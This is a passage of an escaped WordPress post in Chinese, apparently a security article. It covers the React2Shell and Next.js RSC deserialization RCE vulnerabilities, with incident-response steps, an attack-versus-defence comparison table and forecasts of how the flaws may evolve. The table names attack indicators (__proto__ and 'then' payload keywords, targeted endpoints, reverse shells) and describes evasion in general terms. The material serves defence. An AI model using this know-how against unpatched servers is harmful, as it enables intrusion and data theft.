\u7b2c\u4e00\u6b65&#xff1a;\u7d27\u6025\u9694\u79bb&#xff08;\u963b\u6b62\u5371\u5bb3\u6269\u5927&#xff09;<\/h4>\n<ul>\n<li>\n<p>\u7acb\u5373\u65ad\u5f00\u88ab\u653b\u51fb\u670d\u52a1\u5668\u7684\u516c\u7f51\u8fde\u63a5&#xff08;\u6216\u963b\u65ad\u653b\u51fbIP\u7684\u8bbf\u95ee&#xff09;&#xff0c;\u907f\u514d\u653b\u51fb\u8005\u7ee7\u7eed\u64cd\u4f5c\u3001\u6a2a\u5411\u6e17\u900f\u3002<\/p>\n<\/li>\n<li>\n<p>\u6682\u505c\u88ab\u653b\u51fb\u5e94\u7528\u7684\u670d\u52a1&#xff08;\u5982\u505c\u6b62Next.js\u8fdb\u7a0b&#xff09;&#xff0c;\u7981\u6b62\u7528\u6237\u8bbf\u95ee&#xff0c;\u907f\u514d\u6f0f\u6d1e\u7ee7\u7eed\u88ab\u5229\u7528\u3002<\/p>\n<\/li>\n<\/ul>\n<h4>3.4.2 \u7b2c\u4e8c\u6b65&#xff1a;\u6f0f\u6d1e\u6eaf\u6e90\u4e0e\u5371\u5bb3\u8bc4\u4f30<\/h4>\n<ul>\n<li>\n<p>\u67e5\u770b\u670d\u52a1\u5668\u65e5\u5fd7\u3001Nginx\u65e5\u5fd7&#xff0c;\u786e\u5b9a\u653b\u51fb\u65f6\u95f4\u3001\u653b\u51fbIP\u3001\u5229\u7528\u8def\u5f84&#xff08;Server Action\/Flight\u534f\u8bae&#xff09;\u3001Payload\u5185\u5bb9\u3002<\/p>\n<\/li>\n<li>\n<p>\u68c0\u67e5\u670d\u52a1\u5668\u662f\u5426\u88ab\u690d\u5165\u6076\u610f\u7a0b\u5e8f&#xff08;\u5982\u6316\u77ff\u7a0b\u5e8f\u3001\u6728\u9a6c&#xff09;\u3001\u662f\u5426\u6dfb\u52a0\u9690\u85cf\u7528\u6237\u3001SSH\u914d\u7f6e\u662f\u5426\u88ab\u4fee\u6539\u3002<\/p>\n<\/li>\n<li>\n<p>\u8bc4\u4f30\u6570\u636e\u6cc4\u9732\u60c5\u51b5&#xff1a;\u68c0\u67e5\u6570\u636e\u5e93\u3001\u654f\u611f\u6587\u4ef6&#xff08;\u5982.env\u3001\u914d\u7f6e\u6587\u4ef6&#xff09;\u662f\u5426\u88ab\u7a83\u53d6\u3001\u7be1\u6539&#xff0c;\u7edf\u8ba1\u6cc4\u9732\u7684\u6570\u636e\u7c7b\u578b\u3001\u6570\u91cf\u3002<\/p>\n<\/li>\n<li>\n<p>\u68c0\u67e5\u5185\u7f51\u662f\u5426\u88ab\u6a2a\u5411\u6e17\u900f&#xff1a;\u626b\u63cf\u540c\u7f51\u6bb5\u8bbe\u5907&#xff0c;\u786e\u8ba4\u662f\u5426\u6709\u5176\u4ed6\u670d\u52a1\u5668\u88ab\u653b\u51fb\u3002<\/p>\n<\/li>\n<\/ul>\n<h4>3.4.3 \u7b2c\u4e09\u6b65&#xff1a;\u6e05\u9664\u6076\u610f\u5185\u5bb9\u4e0e\u4fee\u590d\u6f0f\u6d1e<\/h4>\n<ul>\n<li>\n<p>\u6e05\u9664\u6076\u610f\u7a0b\u5e8f&#xff1a;\u5220\u9664\u670d\u52a1\u5668\u4e0a\u7684\u6076\u610f\u6587\u4ef6\u3001\u6316\u77ff\u7a0b\u5e8f\u3001\u6728\u9a6c&#xff0c;\u7ec8\u6b62\u6076\u610f\u8fdb\u7a0b&#xff0c;\u6e05\u7406\u9690\u85cf\u7528\u6237\u3001\u4fee\u6539\u7684SSH\u914d\u7f6e\u3002<\/p>\n<\/li>\n<li>\n<p>\u4fee\u590d\u6f0f\u6d1e&#xff1a;\u7acb\u5373\u5347\u7ea7React\u3001Next.js\u81f3\u5b89\u5168\u7248\u672c&#xff0c;\u542f\u7528serverActionsStrict\u7b49\u5b89\u5168\u914d\u7f6e&#xff0c;\u90e8\u7f72WAF\u62e6\u622a\u89c4\u5219\u3002<\/p>\n<\/li>\n<li>\n<p>\u6062\u590d\u6570\u636e&#xff1a;\u4f7f\u7528\u5907\u4efd\u6570\u636e&#xff0c;\u6062\u590d\u88ab\u7be1\u6539\u3001\u5220\u9664\u7684\u5e94\u7528\u4ee3\u7801\u3001\u6570\u636e\u5e93\u6570\u636e&#xff0c;\u786e\u4fdd\u6570\u636e\u5b8c\u6574\u6027\u3002<\/p>\n<\/li>\n<\/ul>\n<h4>3.4.4 \u7b2c\u56db\u6b65&#xff1a;\u6062\u590d\u4e1a\u52a1\u4e0e\u52a0\u56fa\u9632\u62a4<\/h4>\n<ul>\n<li>\n<p>\u542f\u52a8\u5e94\u7528\u670d\u52a1&#xff0c;\u6d4b\u8bd5\u5e94\u7528\u662f\u5426\u6b63\u5e38\u8fd0\u884c&#xff0c;\u786e\u8ba4\u6f0f\u6d1e\u5df2\u4fee\u590d\u3001\u6076\u610f\u5185\u5bb9\u5df2\u6e05\u9664\u3002<\/p>\n<\/li>\n<li>\n<p>\u52a0\u5f3a\u9632\u62a4&#xff1a;\u4f18\u5316WAF\u89c4\u5219&#xff0c;\u8865\u5145IP\u767d\u540d\u5355&#xff0c;\u52a0\u5f3a\u65e5\u5fd7\u76d1\u63a7&#xff0c;\u90e8\u7f72IDS\/IPS&#xff0c;\u907f\u514d\u518d\u6b21\u88ab\u653b\u51fb\u3002<\/p>\n<\/li>\n<\/ul>\n<h4>3.4.5 \u7b2c\u4e94\u6b65&#xff1a;\u590d\u76d8\u603b\u7ed3\u4e0e\u6539\u8fdb<\/h4>\n<ul>\n<li>\n<p>\u53ec\u5f00\u5e94\u6025\u590d\u76d8\u4f1a\u8bae&#xff0c;\u5206\u6790\u653b\u51fb\u539f\u56e0&#xff08;\u5982\u672a\u53ca\u65f6\u5347\u7ea7\u7248\u672c\u3001\u9632\u62a4\u89c4\u5219\u4e0d\u5b8c\u5584\u3001\u4eba\u5458\u5b89\u5168\u610f\u8bc6\u4e0d\u8db3&#xff09;\u3002<\/p>\n<\/li>\n<li>\n<p>\u5236\u5b9a\u6539\u8fdb\u65b9\u6848&#xff0c;\u5b8c\u5584\u9632\u5fa1\u4f53\u7cfb&#xff0c;\u52a0\u5f3a\u4eba\u5458\u57f9\u8bad&#xff0c;\u5b9a\u671f\u5f00\u5c55\u6f0f\u6d1e\u626b\u63cf\u4e0e\u5e94\u6025\u6f14\u7ec3&#xff0c;\u63d0\u5347\u4f01\u4e1a\u7684\u5b89\u5168\u9632\u62a4\u80fd\u529b\u3002<\/p>\n<\/li>\n<li>\n<p>\u82e5\u6d89\u53ca\u7528\u6237\u6570\u636e\u6cc4\u9732&#xff0c;\u9700\u6309\u7167\u76f8\u5173\u6cd5\u5f8b\u6cd5\u89c4&#xff08;\u5982\u300a\u7f51\u7edc\u5b89\u5168\u6cd5\u300b\u300a\u4e2a\u4eba\u4fe1\u606f\u4fdd\u62a4\u6cd5\u300b&#xff09;&#xff0c;\u53ca\u65f6\u544a\u77e5\u7528\u6237&#xff0c;\u91c7\u53d6\u8865\u6551\u63aa\u65bd\u3002<\/p>\n<\/li>\n<\/ul>\n<h2>\u56db\u3001\u653b\u9632\u5bf9\u6297\u5bf9\u6bd4\u4e0e\u6838\u5fc3\u603b\u7ed3<\/h2>\n<h3>4.1 \u653b\u9632\u5bf9\u6297\u6838\u5fc3\u5bf9\u6bd4&#xff08;\u4e00\u76ee\u4e86\u7136&#xff09;<\/h3>\n<table>\n<tr>\u5bf9\u6bd4\u7ef4\u5ea6\u653b\u51fb\u4fa7&#xff08;\u6e17\u900f\u89c6\u89d2&#xff09;\u9632\u5fa1\u4fa7&#xff08;\u5b89\u5168\u89c6\u89d2&#xff09;<\/tr>\n<tbody>\n<tr>\n<td>\u6838\u5fc3\u76ee\u6807<\/td>\n<td>\u65e0\u8ba4\u8bc1\u5b9e\u73b0RCE&#xff0c;\u63a5\u7ba1\u670d\u52a1\u5668&#xff0c;\u7a83\u53d6\u654f\u611f\u6570\u636e&#xff0c;\u5185\u7f51\u6a2a\u5411\u6e17\u900f&#xff0c;\u5b9e\u73b0\u6301\u4e45\u5316\u63a7\u5236<\/td>\n<td>\u963b\u65ad\u53cd\u5e8f\u5217\u5316\u7f3a\u9677\u4e0e\u539f\u578b\u94fe\u6c61\u67d3&#xff0c;\u9632\u6b62\u4ee3\u7801\u6267\u884c&#xff0c;\u4fdd\u62a4\u670d\u52a1\u5668\u4e0e\u6570\u636e\u5b89\u5168&#xff0c;\u4fdd\u969c\u4e1a\u52a1\u8fde\u7eed\u6027<\/td>\n<\/tr>\n<tr>\n<td>\u653b\u51fb\/\u9632\u62a4\u5165\u53e3<\/td>\n<td>\/_next\/data\/\u3001Server Action\u7aef\u70b9\u3001\/api\/&#xff0c;Next-Action\u8bf7\u6c42\u5934&#xff0c;Flight\u534f\u8bae<\/td>\n<td>\u7248\u672c\u5347\u7ea7\u3001WAF\u62e6\u622a\u3001IP\u767d\u540d\u5355\u3001\u53c2\u6570\u8fc7\u6ee4\u3001\u65e5\u5fd7\u76d1\u63a7\u3001\u5e94\u6025\u54cd\u5e94<\/td>\n<\/tr>\n<tr>\n<td>\u6838\u5fc3\u624b\u6bb5<\/td>\n<td>\u539f\u578b\u94fe\u6c61\u67d3\u3001thenable\u8bef\u5224\u3001Payload\u6df7\u6dc6\u4e0e\u7ed5\u8fc7\u3001\u591a\u9636\u6bb5\u540e\u6e17\u900f<\/td>\n<td>\u7248\u672c\u6839\u6cbb\u3001\u914d\u7f6e\u52a0\u56fa\u3001\u6d41\u91cf\u62e6\u622a\u3001\u68c0\u6d4b\u76d1\u63a7\u3001\u5b89\u5168\u7f16\u7801\u3001\u6743\u9650\u7ba1\u7406<\/td>\n<\/tr>\n<tr>\n<td>\u5173\u952e\u7279\u5f81<\/td>\n<td>Payload\u542b__proto__\u3001then\u7b49\u5173\u952e\u5b57&#xff0c;\u8bbf\u95ee\u7279\u5b9aRSC\u7aef\u70b9&#xff0c;\u53cd\u5f39Shell\/\u547d\u4ee4\u6267\u884c<\/td>\n<td>\u8fc7\u6ee4\u6076\u610f\u5173\u952e\u5b57\u3001\u62e6\u622a\u5f02\u5e38\u6d41\u91cf\u3001\u542f\u7528\u5b89\u5168\u914d\u7f6e\u3001\u5b9a\u671f\u5347\u7ea7\u4e0e\u626b\u63cf<\/td>\n<\/tr>\n<tr>\n<td>\u96be\u5ea6\u7b49\u7ea7<\/td>\n<td>\u6781\u4f4e&#xff08;\u4e00\u952e\u5229\u7528\u3001\u6279\u91cf\u626b\u63cf&#xff0c;\u65b0\u624b\u53ef\u64cd\u4f5c&#xff09;<\/td>\n<td>\u4e2d\u9ad8&#xff08;\u9700\u4f53\u7cfb\u5316\u914d\u7f6e&#xff0c;\u517c\u987e\u5f00\u53d1\u3001\u8fd0\u7ef4\u3001\u5b89\u5168\u8fd0\u8425&#xff0c;\u9700\u957f\u671f\u575a\u6301&#xff09;<\/td>\n<\/tr>\n<tr>\n<td>\u5371\u5bb3\u8303\u56f4<\/td>\n<td>\u670d\u52a1\u5668\u88ab\u63a7\u3001\u6570\u636e\u6cc4\u9732\u3001\u4e1a\u52a1\u4e2d\u65ad\u3001\u5185\u7f51\u6e17\u900f\u3001\u6316\u77ff\/\u6728\u9a6c\u90e8\u7f72<\/td>\n<td>\u7248\u672c\u5347\u7ea7\u53ef\u5f7b\u5e95\u6839\u6cbb&#xff0c;\u4e34\u65f6\u65b9\u6848\u53ef\u7f13\u89e3&#xff0c;\u591a\u5c42\u9632\u62a4\u53ef\u964d\u4f4e\u88ab\u653b\u51fb\u6982\u7387<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3>4.2 \u6838\u5fc3\u603b\u7ed3<\/h3>\n<p>React2Shell&#xff08;CVE-2025-55182&#xff09;\u4e0eNext.js&#xff08;CVE-2025-66478&#xff09;\u6f0f\u6d1e\u7684\u7206\u53d1&#xff0c;\u672c\u8d28\u662f\u201c\u4e0a\u6e38\u6846\u67b6\u7f3a\u9677&#043;\u4e0b\u6e38\u6846\u67b6\u672a\u9632\u62a4\u201d\u7684\u5178\u578b\u6848\u4f8b&#xff0c;\u5176\u6838\u5fc3\u5371\u5bb3\u5728\u4e8e\u201c\u65e0\u8ba4\u8bc1\u3001\u4f4e\u95e8\u69db\u3001\u9ad8\u7834\u574f\u201d\u2014\u2014\u653b\u51fb\u8005\u65e0\u9700\u590d\u6742\u6280\u672f&#xff0c;\u5373\u53ef\u901a\u8fc7\u7b80\u5355Payload\u5b9e\u73b0\u670d\u52a1\u5668\u63a5\u7ba1&#xff0c;\u800c\u5168\u7403\u6d77\u91cfReact\/Next.js\u5e94\u7528\u7684\u5e7f\u6cdb\u4f7f\u7528&#xff0c;\u8fdb\u4e00\u6b65\u653e\u5927\u4e86\u6f0f\u6d1e\u7684\u5371\u5bb3\u8303\u56f4\u3002<\/p>\n<p>\u4ece\u653b\u9632\u5bf9\u6297\u6765\u770b&#xff0c;\u653b\u51fb\u4fa7\u7684\u4f18\u52bf\u5728\u4e8e\u201c\u5229\u7528\u95e8\u69db\u4f4e\u3001\u624b\u6cd5\u591a\u6837\u3001\u53ef\u7ed5\u8fc7\u7b80\u5355\u9632\u62a4\u201d&#xff0c;\u800c\u9632\u5fa1\u4fa7\u7684\u6838\u5fc3\u7a81\u7834\u53e3\u5728\u4e8e\u201c\u7248\u672c\u5347\u7ea7&#043;\u591a\u5c42\u9632\u62a4\u201d&#xff1a;\u7248\u672c\u5347\u7ea7\u662f\u6839\u6cbb\u6f0f\u6d1e\u7684\u552f\u4e00\u624b\u6bb5&#xff0c;\u800cWAF\u62e6\u622a\u3001\u914d\u7f6e\u52a0\u56fa\u3001\u68c0\u6d4b\u76d1\u63a7\u3001\u5e94\u6025\u54cd\u5e94\u5219\u662f\u6784\u5efa\u201c\u7eb5\u6df1\u9632\u5fa1\u201d\u7684\u5173\u952e&#xff0c;\u53ef\u6709\u6548\u963b\u65ad\u653b\u51fb\u3001\u964d\u4f4e\u5371\u5bb3\u3001\u5feb\u901f\u6062\u590d\u4e1a\u52a1\u3002<\/p>\n<p>\u5bf9\u4e8e\u4f01\u4e1a\u800c\u8a00&#xff0c;\u9700\u6452\u5f03\u201c\u91cd\u4e1a\u52a1\u3001\u8f7b\u5b89\u5168\u201d\u7684\u7406\u5ff5&#xff0c;\u5c06\u5b89\u5168\u878d\u5165\u5f00\u53d1\u3001\u8fd0\u7ef4\u3001\u8fd0\u8425\u7684\u5168\u6d41\u7a0b&#xff0c;\u5b9a\u671f\u5347\u7ea7\u4f9d\u8d56\u5305\u3001\u626b\u63cf\u6f0f\u6d1e\u3001\u52a0\u5f3a\u4eba\u5458\u57f9\u8bad&#xff0c;\u624d\u80fd\u6709\u6548\u9632\u8303\u6b64\u7c7b\u9ad8\u5371\u6f0f\u6d1e\u7684\u653b\u51fb&#xff0c;\u4fdd\u969c\u4e1a\u52a1\u5b89\u5168\u4e0e\u6570\u636e\u5b89\u5168\u3002<\/p>\n<h2>\u4e94\u3001\u524d\u77bb\u9884\u5224&#xff1a;\u6f0f\u6d1e\u6f14\u5316\u8d8b\u52bf\u4e0e\u672a\u6765\u9632\u62a4\u65b9\u5411<\/h2>\n<p>\u968f\u7740React\u3001Next.js\u751f\u6001\u7684\u6301\u7eed\u8fed\u4ee3&#xff0c;\u7c7b\u4f3c\u7684\u53cd\u5e8f\u5217\u5316\u3001\u539f\u578b\u94fe\u6c61\u67d3\u6f0f\u6d1e\u53ef\u80fd\u4f1a\u53cd\u590d\u51fa\u73b0&#xff0c;\u540c\u65f6\u653b\u51fb\u8005\u7684\u5229\u7528\u624b\u6cd5\u4e5f\u4f1a\u4e0d\u65ad\u5347\u7ea7&#xff0c;\u7ed3\u5408\u5f53\u524d\u6f0f\u6d1e\u7684\u7279\u70b9\u4e0e\u884c\u4e1a\u8d8b\u52bf&#xff0c;\u4ee5\u4e0b\u4ece\u201c\u6f0f\u6d1e\u6f14\u5316\u8d8b\u52bf\u201d\u4e0e\u201c\u672a\u6765\u9632\u62a4\u65b9\u5411\u201d\u4e24\u4e2a\u7ef4\u5ea6&#xff0c;\u63d0\u4f9b\u524d\u77bb\u6027\u9884\u5224&#xff0c;\u5e2e\u52a9\u4f01\u4e1a\u63d0\u524d\u5e03\u5c40\u9632\u62a4&#xff0c;\u5360\u636e\u4e3b\u52a8\u3002<\/p>\n<h3>5.1 \u6f0f\u6d1e\u6f14\u5316\u8d8b\u52bf&#xff08;\u672a\u67651-2\u5e74&#xff09;<\/h3>\n<ul>\n<li>\n<p>\u6f0f\u6d1e\u4f20\u5bfc\u6027\u589e\u5f3a&#xff1a;React\u4f5c\u4e3a\u524d\u7aef\u6838\u5fc3\u6846\u67b6&#xff0c;\u5176\u5e95\u5c42\u6f0f\u6d1e\u4f1a\u5feb\u901f\u4f20\u5bfc\u81f3Next.js\u3001Remix\u7b49\u4e0a\u5c42\u6846\u67b6&#xff0c;\u5f62\u6210\u201c\u4e00\u6f0f\u6d1e\u591a\u5f71\u54cd\u201d\u7684\u683c\u5c40&#xff0c;\u4e14\u6f0f\u6d1e\u5229\u7528\u8def\u5f84\u4f1a\u66f4\u52a0\u591a\u6837\u5316&#xff0c;\u9002\u914d\u4e0d\u540c\u6846\u67b6\u7684\u573a\u666f\u3002<\/p>\n<\/li>\n<li>\n<p>\u5229\u7528\u624b\u6cd5\u66f4\u52a0\u9690\u853d&#xff1a;\u653b\u51fb\u8005\u4f1a\u8fdb\u4e00\u6b65\u4f18\u5316Payload\u6df7\u6dc6\u3001\u7ed5\u8fc7\u6280\u5de7&#xff0c;\u5982\u4f7f\u7528AI\u751f\u6210\u53d8\u5f62Payload\u3001\u5229\u7528\u6846\u67b6\u8fb9\u7f18\u903b\u8f91\u7ed5\u8fc7\u9632\u62a4&#xff0c;\u540c\u65f6\u7ed3\u5408\u65e0\u6587\u4ef6\u653b\u51fb\u3001\u5185\u5b58\u9a6c\u7b49\u624b\u6bb5&#xff0c;\u964d\u4f4e\u88ab\u68c0\u6d4b\u7684\u6982\u7387\u3002<\/p>\n<\/li>\n<li>\n<p>\u6279\u91cf\u653b\u51fb\u5e38\u6001\u5316&#xff1a;\u968f\u7740\u6f0f\u6d1e\u5229\u7528\u5de5\u5177\u7684\u5f00\u6e90\u3001\u81ea\u52a8\u5316\u626b\u63cf\u811a\u672c\u7684\u666e\u53ca&#xff0c;\u653b\u51fb\u8005\u4f1a\u5f00\u5c55\u5927\u89c4\u6a21\u6279\u91cf\u626b\u63cf\u3001\u6279\u91cf\u653b\u51fb&#xff0c;\u91cd\u70b9\u9488\u5bf9\u672a\u5347\u7ea7\u7248\u672c\u3001\u9632\u62a4\u8584\u5f31\u7684\u4e2d\u5c0f\u5fae\u4f01\u4e1a&#xff0c;\u83b7\u53d6\u6316\u77ff\u3001\u7a83\u53d6\u6570\u636e\u7b49\u975e\u6cd5\u5229\u76ca\u3002<\/p>\n<\/li>\n<li>\n<p>\u7ed3\u5408\u5176\u4ed6\u6f0f\u6d1e\u7ec4\u5408\u653b\u51fb&#xff1a;\u653b\u51fb\u8005\u4f1a\u5c06React2Shell\/Next.js\u6f0f\u6d1e\u4e0e\u5176\u4ed6\u6f0f\u6d1e&#xff08;\u5982\u5f31\u53e3\u4ee4\u3001SQL\u6ce8\u5165\u3001XSS&#xff09;\u7ed3\u5408&#xff0c;\u5f62\u6210\u7ec4\u5408\u653b\u51fb\u94fe\u6761&#xff0c;\u63d0\u5347\u653b\u51fb\u6210\u529f\u7387&#xff0c;\u6269\u5927\u5371\u5bb3\u8303\u56f4&#xff08;\u5982\u901a\u8fc7XSS\u83b7\u53d6\u7528\u6237Cookie&#xff0c;\u518d\u901a\u8fc7RCE\u63a5\u7ba1\u670d\u52a1\u5668&#xff09;\u3002<\/p>\n<\/li>\n<li>\n<p>\u65b0\u578b\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u51fa\u73b0&#xff1a;\u968f\u7740RSC\u6280\u672f\u7684\u6301\u7eed\u4f18\u5316&#xff0c;\u53ef\u80fd\u4f1a\u51fa\u73b0\u65b0\u7684\u5e8f\u5217\u5316\/\u53cd\u5e8f\u5217\u5316\u903b\u8f91\u7f3a\u9677&#xff0c;\u6216\u7c7b\u4f3c\u7684\u539f\u578b\u94fe\u6c61\u67d3\u3001thenable\u8bef\u5224\u6f0f\u6d1e&#xff0c;\u653b\u51fb\u624b\u6cd5\u4f1a\u56f4\u7ed5\u65b0\u7684\u6280\u672f\u903b\u8f91\u5c55\u5f00\u3002<\/p>\n<\/li>\n<\/ul>\n<h3>5.2 \u672a\u6765\u9632\u62a4\u65b9\u5411&#xff08;\u4f01\u4e1a\u5e03\u5c40\u91cd\u70b9&#xff09;<\/h3>\n<ul>\n<li>\n<p>\u81ea\u52a8\u5316\u9632\u62a4\u5e38\u6001\u5316&#xff1a;\u4f01\u4e1a\u5e94\u5f15\u5165\u81ea\u52a8\u5316\u6f0f\u6d1e\u626b\u63cf\u3001\u81ea\u52a8\u5316\u4fee\u590d\u5de5\u5177&#xff0c;\u5b9e\u73b0\u4f9d\u8d56\u5305\u5347\u7ea7\u3001\u6f0f\u6d1e\u68c0\u6d4b\u3001\u9632\u62a4\u89c4\u5219\u66f4\u65b0\u7684\u81ea\u52a8\u5316&#xff0c;\u51cf\u5c11\u4eba\u5de5\u5e72\u9884&#xff0c;\u63d0\u9ad8\u9632\u62a4\u6548\u7387&#xff08;\u5982\u4f7f\u7528CI\/CD\u6d41\u6c34\u7ebf\u96c6\u6210npm audit\u3001snyk&#xff0c;\u81ea\u52a8\u68c0\u6d4b\u5e76\u5347\u7ea7\u6f0f\u6d1e\u4f9d\u8d56&#xff09;\u3002<\/p>\n<\/li>\n<li>\n<p>AI\u9a71\u52a8\u7684\u5a01\u80c1\u68c0\u6d4b&#xff1a;\u90e8\u7f72AI\u9a71\u52a8\u7684WAF\u3001IDS\/IPS&#xff0c;\u5229\u7528\u673a\u5668\u5b66\u4e60\u7b97\u6cd5&#xff0c;\u8bc6\u522b\u65b0\u578b\u53d8\u5f62Payload\u3001\u9690\u853d\u653b\u51fb\u624b\u6cd5&#xff0c;\u7a81\u7834\u4f20\u7edf\u89c4\u5219\u5f0f\u9632\u62a4\u7684\u5c40\u9650\u6027&#xff0c;\u5b9e\u73b0\u201c\u4e3b\u52a8\u68c0\u6d4b\u3001\u667a\u80fd\u62e6\u622a\u201d\u3002<\/p>\n<\/li>\n<li>\n<p>\u6846\u67b6\u5c42\u9762\u7684\u5b89\u5168\u52a0\u56fa&#xff1a;\u5f00\u53d1\u4eba\u5458\u5e94\u5173\u6ce8React\u3001Next.js\u5b98\u65b9\u7684\u5b89\u5168\u66f4\u65b0&#xff0c;\u4e3b\u52a8\u542f\u7528\u6846\u67b6\u5185\u7f6e\u7684\u5b89\u5168\u914d\u7f6e&#xff08;\u5982serverActionsStrict&#xff09;&#xff0c;\u540c\u65f6\u53c2\u4e0e\u5f00\u6e90\u793e\u533a&#xff0c;\u53cd\u9988\u5b89\u5168\u95ee\u9898&#xff0c;\u63a8\u52a8\u6846\u67b6\u672c\u8eab\u7684\u5b89\u5168\u4f18\u5316\u3002<\/p>\n<\/li>\n<li>\n<p>\u96f6\u4fe1\u4efb\u67b6\u6784\u90e8\u7f72&#xff1a;\u5f15\u5165\u96f6\u4fe1\u4efb\u67b6\u6784&#xff0c;\u6452\u5f03\u201c\u5185\u7f51\u53ef\u4fe1\u3001\u5916\u7f51\u4e0d\u53ef\u4fe1\u201d\u7684\u4f20\u7edf\u7406\u5ff5&#xff0c;\u5bf9\u6240\u6709\u8bbf\u95ee\u8bf7\u6c42&#xff08;\u5305\u62ec\u5185\u7f51\u8bf7\u6c42&#xff09;\u8fdb\u884c\u8eab\u4efd\u8ba4\u8bc1\u3001\u6743\u9650\u6821\u9a8c&#xff0c;\u5373\u4f7f\u6f0f\u6d1e\u88ab\u5229\u7528&#xff0c;\u653b\u51fb\u8005\u4e5f\u65e0\u6cd5\u6a2a\u5411\u6e17\u900f&#xff0c;\u9650\u5236\u5371\u5bb3\u8303\u56f4\u3002<\/p>\n<\/li>\n<li>\n<p>\u5b89\u5168\u5de6\u79fb\u6df1\u5316&#xff1a;\u5c06\u5b89\u5168\u6d4b\u8bd5\u3001\u6f0f\u6d1e\u626b\u63cf\u878d\u5165\u5f00\u53d1\u65e9\u671f&#xff08;\u9700\u6c42\u9636\u6bb5\u3001\u7f16\u7801\u9636\u6bb5&#xff09;&#xff0c;\u5f00\u5c55\u5b89\u5168\u7f16\u7801\u57f9\u8bad&#xff0c;\u89c4\u8303\u5f00\u53d1\u6d41\u7a0b&#xff0c;\u4ece\u6e90\u5934\u51cf\u5c11\u6f0f\u6d1e\u4ea7\u751f&#xff0c;\u5b9e\u73b0\u201c\u65e9\u53d1\u73b0\u3001\u65e9\u4fee\u590d\u3001\u65e9\u9632\u62a4\u201d\u3002<\/p>\n<\/li>\n<li>\n<p>\u5a01\u80c1\u60c5\u62a5\u5171\u4eab&#xff1a;\u4f01\u4e1a\u5e94\u52a0\u5f3a\u4e0e\u5b89\u5168\u5382\u5546\u3001\u540c\u884c\u4e1a\u4f01\u4e1a\u7684\u5a01\u80c1\u60c5\u62a5\u5171\u4eab&#xff0c;\u53ca\u65f6\u83b7\u53d6\u6f0f\u6d1e\u7684\u6700\u65b0\u5229\u7528\u624b\u6cd5\u3001\u7ed5\u8fc7\u6280\u5de7&#xff0c;\u5feb\u901f\u66f4\u65b0\u9632\u62a4\u89c4\u5219&#xff0c;\u5f62\u6210\u201c\u534f\u540c\u9632\u62a4\u201d\u7684\u683c\u5c40\u3002<\/p>\n<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>React2Shell&#xff08;CVE-2025-55182&#xff09;\u4f5c\u4e3aReact\u751f\u6001\u8fd1\u5e74\u6765\u6700\u5177\u7834\u574f\u6027\u7684\u6ee1\u5206RCE\u6f0f\u6d1e&#xff0c;\u5176\u6838\u5fc3\u6e90\u4e8eReact Server Components&#xff08;RSC&#xff09;\u5e95\u5c42Flight\u534f\u8bae\u7684\u53cd\u5e8f\u5217\u5316\u5b89\u5168\u7f3a\u9677&#xff1b;\u800cNext.js\u4f5c\u4e3a\u5f53\u524d\u6700\u4e3b\u6d41\u7684React\u6846\u67b6&#xff0c;\u4f9d\u6258RSC\u5b9e\u73b0\u670d\u52a1\u7aef\u6e32\u67d3\u4e0e\u7ec4\u4ef6\u4ea4\u4e92&#xff0c;\u540c\u6b65\u884d\u751f\u51fa\u5bf9\u5e94\u9ad8\u5371\u6f0f\u6d1eCVE-2025-66478\u3002\u4e24\u5927\u6f0f\u6d1e\u5f62\u6210\u201c\u4e0a\u6e38\u7f3a<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[8885,8884,187,943,43,122,44],"topic":[],"class_list":["post-79604","post","type-post","status-publish","format-standard","hentry","category-server","tag-cve-2025-55182","tag-react2shell","tag-javascript","tag-next-js","tag-43","tag-122","tag-44"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>\u4ece\u53cd\u5e8f\u5217\u5316\u5230\u670d\u52a1\u5668\u63a5\u7ba1\uff1aReact2Shell\u4e0eNext.js\u6f0f\u6d1e\u653b\u9632\u5168\u666f\u89e3\u6790 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/79604.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u4ece\u53cd\u5e8f\u5217\u5316\u5230\u670d\u52a1\u5668\u63a5\u7ba1\uff1aReact2Shell\u4e0eNext.js\u6f0f\u6d1e\u653b\u9632\u5168\u666f\u89e3\u6790 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"React2Shell&#xff08;CVE-2025-55182&#xff09;\u4f5c\u4e3aReact\u751f\u6001\u8fd1\u5e74\u6765\u6700\u5177\u7834\u574f\u6027\u7684\u6ee1\u5206RCE\u6f0f\u6d1e&#xff0c;\u5176\u6838\u5fc3\u6e90\u4e8eReact Server Components&#xff08;RSC&#xff09;\u5e95\u5c42Flight\u534f\u8bae\u7684\u53cd\u5e8f\u5217\u5316\u5b89\u5168\u7f3a\u9677&#xff1b;\u800cNext.js\u4f5c\u4e3a\u5f53\u524d\u6700\u4e3b\u6d41\u7684React\u6846\u67b6&#xff0c;\u4f9d\u6258RSC\u5b9e\u73b0\u670d\u52a1\u7aef\u6e32\u67d3\u4e0e\u7ec4\u4ef6\u4ea4\u4e92&#xff0c;\u540c\u6b65\u884d\u751f\u51fa\u5bf9\u5e94\u9ad8\u5371\u6f0f\u6d1eCVE-2025-66478\u3002\u4e24\u5927\u6f0f\u6d1e\u5f62\u6210\u201c\u4e0a\u6e38\u7f3a\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/79604.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2026-03-02T09:25:47+00:00\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta 